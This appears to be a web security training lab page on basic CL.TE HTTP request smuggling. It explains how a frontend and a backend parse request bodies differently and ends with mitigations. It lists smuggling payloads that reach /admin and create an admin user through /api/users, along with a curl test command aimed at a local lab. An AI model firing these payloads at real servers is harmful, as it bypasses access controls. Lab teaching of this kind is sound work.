Lab 1: Basic CL.TE Smuggling

Content-Length vs Transfer-Encoding parsing differences

Difficulty: Low

Lab Overview

This lab demonstrates a basic CL.TE (Content-Length vs Transfer-Encoding) HTTP Request Smuggling vulnerability. The frontend server uses Content-Length to determine the request body length, while the backend server uses Transfer-Encoding: chunked.

Objective: Send a malformed HTTP request that exploits the parsing difference between frontend and backend servers to smuggle additional requests.

Vulnerable Request Processing 
// Vulnerable: Different parsing between frontend and backend
// Frontend uses Content-Length
// Backend uses Transfer-Encoding: chunked

// Example vulnerable request:
POST /1.php HTTP/1.1
Host: example.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

// Frontend sees: Content-Length: 13 (reads 13 bytes)
// Backend sees: Transfer-Encoding: chunked (reads until 0\r\n)
// Result: "SMUGGLED" becomes the start of the next request
Request Smuggling Tester
Test Payloads:
  • 0\r\n\r\nSMUGGLED - Basic CL.TE payload
  • 0\r\n\r\nGET /admin HTTP/1.1\r\nHost: example.com\r\n\r\n - Admin access
  • 0\r\n\r\nPOST /api/users HTTP/1.1\r\nHost: example.com\r\nContent-Length: 10\r\n\r\nuser=admin - API access
Vulnerability Details
  • Type: HTTP Request Smuggling (CL.TE)
  • Severity: High
  • Method: POST
  • Issue: Different parsing between frontend and backend
Test Payloads

Try these payloads in the request body:

  • 0\r\n\r\nSMUGGLED
  • 0\r\n\r\nGET /admin HTTP/1.1\r\nHost: example.com\r\n\r\n
  • 0\r\n\r\nPOST /api/users HTTP/1.1\r\nHost: example.com\r\nContent-Length: 10\r\n\r\nuser=admin
Manual Testing with curl

Use these curl commands to test the vulnerability:

curl -X POST http://localhost/test/http_rs/1.php \ -H "Content-Length: 13" \ -H "Transfer-Encoding: chunked" \ -d "0 SMUGGLED"
Real-World Attack Scenarios
Mitigation Strategies
  • Ensure consistent parsing between frontend and backend servers
  • Disable Transfer-Encoding support if not needed
  • Use HTTP/2 to avoid parsing differences
  • Implement request validation and sanitization
  • Use reverse proxies that handle parsing consistently
  • Regular security testing and vulnerability assessments
  • Monitor for unusual request patterns and anomalies